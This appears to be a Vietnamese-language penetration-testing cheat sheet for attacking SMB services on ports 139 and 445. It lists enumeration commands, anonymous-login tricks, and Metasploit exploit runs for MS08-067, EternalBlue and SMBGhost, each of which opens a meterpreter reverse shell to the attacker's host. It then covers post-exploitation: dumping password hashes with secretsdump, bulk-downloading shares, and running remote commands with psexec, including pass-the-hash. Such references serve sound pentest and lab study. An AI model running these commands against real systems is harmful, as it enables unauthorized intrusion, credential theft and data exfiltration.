Skip to main content

SMB (Port 139, 445)

Connect

Kết nối bằng smbclient

Liệt kê tất cả các chia sẻ (shares) có sẵn trên máy chủ SMB:

smbclient -L //<ip>

Enumeration

smbclient

Liệt kê các chia sẻ SMB với tài khoản ẩn danh hoặc Guest:

smbclient -N -L //<ip>/

enum4linux

Liệt kê thông tin chi tiết:

enum4linux -u '<user>' -p '<password>' -a <ip>

IPC$

Liệt kê người dùng nếu chia sẻ IPC$ cho phép truy cập ẩn danh:

impacket-lookupsid anonymous@<ip>

Attack Vectors

Đăng nhập ẩn danh

Kết nối ẩn danh hoặc Guest để thu thập thông tin hệ thống:

smbclient -L //<ip>/ -U anonymous/Guest

Sau khi kết nối, chạy các lệnh:

srvinfo
enumdomusers
getdompwinfo

Khai thác MS08-067 (Netapi)

Khai thác lỗ hổng MS08-067 để thực thi mã từ xa qua SMB:

msf> use exploit/windows/smb/ms08_067_netapi
> set RHOSTS <ip>
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST <your_ip>
> exploit

Khai thác MS17-010 (EternalBlue)

Khai thác lỗ hổng EternalBlue trên SMBv1 để thực thi mã từ xa:

msf> use exploit/windows/smb/ms17_010_eternalblue
> set RHOSTS <ip>
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST <your_ip>
> exploit

Khai thác SMBGhost (CVE-2020-0796)

Khai thác lỗ hổng SMBv3 để thực thi mã từ xa:

msf> use exploit/windows/smb/cve_2020_0796_smbghost
> set RHOSTS <ip>
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST <your_ip>
> exploit

Post-Exploitation

Kết nối tới SMB

Kết nối tới chia sẻ SMB cụ thể với thông tin đăng nhập:

smbclient \\\\<ip>\\<share_name> -U <user>

--option='client min protocol=NT1' với phiên củ cũ

Các lệnh SMBclient thông dụng

Lệnh smbclientGiải thích
lsLiệt kê danh sách file và thư mục
cd <folder>Di chuyển vào thư mục con
get <file>Tải (download) một file
mget <pattern>Tải nhiều file cùng lúc từ share SMB về máy local
put <file>Upload một file
mput <pattern>Upload nhiều file cùng lúc
lcd <local_folder>Đổi thư mục làm việc hiện tại trên máy local
pwdHiển thị đường dẫn thư mục hiện tại
promptBật/tắt chế độ hỏi xác nhận khi dùng lệnh mget/mput
helpHiển thị danh sách các lệnh có thể sử dụng
exit/quitThoát khỏi phiên làm việc

Dumping Hashes

Trích xuất hàm băm mật khẩu từ hệ thống:

impacket-secretsdump <domain>/<user>:<password>@<ip>

Tải xuống nhiều tệp

Tải xuống đệ quy các tệp từ chia sẻ SMB với smbclient:

mask ""
RECURSE ON
PROMPT OFF
mget *

Tương tự tải tất cả các file với smbmap:

smbmap -R <share_name> -H <ip> -A <file> -q
smbmap -u <user> -p <pass> -H <ip> -s <share> -R -A '.*'

Thực thi lệnh từ xa

Thực thi lệnh từ xa trên máy chủ SMB bằng psexec với thông tin đăng nhập:

impacket-psexec <domain>/<user>:<password>@<ip>

Ta cũng có thể sử dụng NTLM hash để xác thực:

impacket-psexec -hashes <hash> <domain>/<user>@<ip>